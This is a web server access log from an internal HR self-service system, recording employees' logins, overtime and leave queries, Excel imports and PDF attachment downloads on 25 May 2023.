192.168.11.240 - - [25/May/2023:09:24:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.240 - - [25/May/2023:09:25:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:25:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.240 - - [25/May/2023:09:24:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:24:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.240 - - [25/May/2023:09:26:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.240 - - [25/May/2023:09:26:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:27:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772
192.168.12.71 - - [25/May/2023:09:27:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 34772 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:28:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.228 - - [25/May/2023:09:28:00 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:27:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 145387
192.168.12.71 - - [25/May/2023:09:27:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 145387 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:27:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44633 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:27:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44633
192.168.11.136 - - [25/May/2023:09:24:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:24:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.136 - - [25/May/2023:09:22:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:09:22:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.228 - - [25/May/2023:09:28:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.228 - - [25/May/2023:09:28:03 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:28:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:28:12 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.240 - - [25/May/2023:09:28:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=112596&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 9295 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.240 - - [25/May/2023:09:28:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE022&requestno=112596&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E6%98%8E%E7%BB%86 HTTP/1.1" 200 9295
192.168.11.228 - - [25/May/2023:09:28:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:28:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:09:29:01 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.056181863850797154 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:01 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.056181863850797154 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:01 +0800] "GET /favicon.ico HTTP/1.1" 404 209
192.168.12.71 - - [25/May/2023:09:29:01 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://192.168.1.81:8088/eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.056181863850797154" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:03 +0800] "GET /eHR/upload/userfile/3793731172c871d90ed9e38595bbc892.pdf?&openW=Y&rand=0.3496232121916203 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:03 +0800] "GET /eHR/upload/userfile/3793731172c871d90ed9e38595bbc892.pdf?&openW=Y&rand=0.3496232121916203 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:05 +0800] "GET /eHR/upload/userfile/beb1a61998e223ad46cc357e33fad436.pdf?&openW=Y&rand=0.6497508220913728 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:05 +0800] "GET /eHR/upload/userfile/beb1a61998e223ad46cc357e33fad436.pdf?&openW=Y&rand=0.6497508220913728 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:08 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.9101134646547575 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:08 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.9101134646547575 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:21 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.786518279438096 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:21 +0800] "GET /eHR/upload/userfile/e952b122647b8ccb675434c6e2a8495d.pdf?&openW=Y&rand=0.786518279438096 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:24 +0800] "GET /eHR/upload/userfile/3793731172c871d90ed9e38595bbc892.pdf?&openW=Y&rand=0.03700699324903356 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:24 +0800] "GET /eHR/upload/userfile/3793731172c871d90ed9e38595bbc892.pdf?&openW=Y&rand=0.03700699324903356 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:26 +0800] "GET /eHR/upload/userfile/beb1a61998e223ad46cc357e33fad436.pdf?&openW=Y&rand=0.3560142046841752 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:26 +0800] "GET /eHR/upload/userfile/beb1a61998e223ad46cc357e33fad436.pdf?&openW=Y&rand=0.3560142046841752 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:09:29:29 +0800] "GET /eHR/upload/userfile/b0fe4ade39c6487ab99aa00243b999c9.pdf?&openW=Y&rand=0.9745789371170093 HTTP/1.1" 200 700951
192.168.12.71 - - [25/May/2023:09:29:29 +0800] "GET /eHR/upload/userfile/b0fe4ade39c6487ab99aa00243b999c9.pdf?&openW=Y&rand=0.9745789371170093 HTTP/1.1" 200 700951 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:29:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:29:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.71 - - [25/May/2023:09:29:40 +0800] "GET /eHR/upload/userfile/beb1a61998e223ad46cc357e33fad436.pdf?&openW=Y&rand=0.6708865211746184 HTTP/1.1" 404 254
192.168.12.71 - - [25/May/2023:09:29:40 +0800] "GET /eHR/upload/userfile/beb1a61998e223ad46cc357e33fad436.pdf?&openW=Y&rand=0.6708865211746184 HTTP/1.1" 404 254 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:29:46 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7483130866178784 HTTP/1.1" 200 5264
192.168.11.236 - - [25/May/2023:09:29:46 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7483130866178784 HTTP/1.1" 200 5264 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:29:54 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7483130866178784 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:29:54 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7483130866178784 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7483130866178784" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:29:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4494 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7483130866178784" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:29:55 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4494
192.168.11.236 - - [25/May/2023:09:30:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:30:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:30:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.228 - - [25/May/2023:09:30:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7969
192.168.11.236 - - [25/May/2023:09:30:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:30:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:30:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.11.236 - - [25/May/2023:09:30:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 171833 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 171833
192.168.11.236 - - [25/May/2023:09:31:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:31:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:09:31:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:34 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17891021089196868 HTTP/1.1" 200 5264
192.168.11.236 - - [25/May/2023:09:31:34 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17891021089196868 HTTP/1.1" 200 5264 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:39 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17891021089196868 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17891021089196868" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:39 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17891021089196868 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:09:31:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5068 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.17891021089196868" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5068
192.168.11.236 - - [25/May/2023:09:31:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:31:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:09:32:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:32:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.149 - - [25/May/2023:09:34:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.149 - - [25/May/2023:09:34:15 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.149 - - [25/May/2023:09:34:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.149 - - [25/May/2023:09:34:18 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:34:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:09:34:23 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
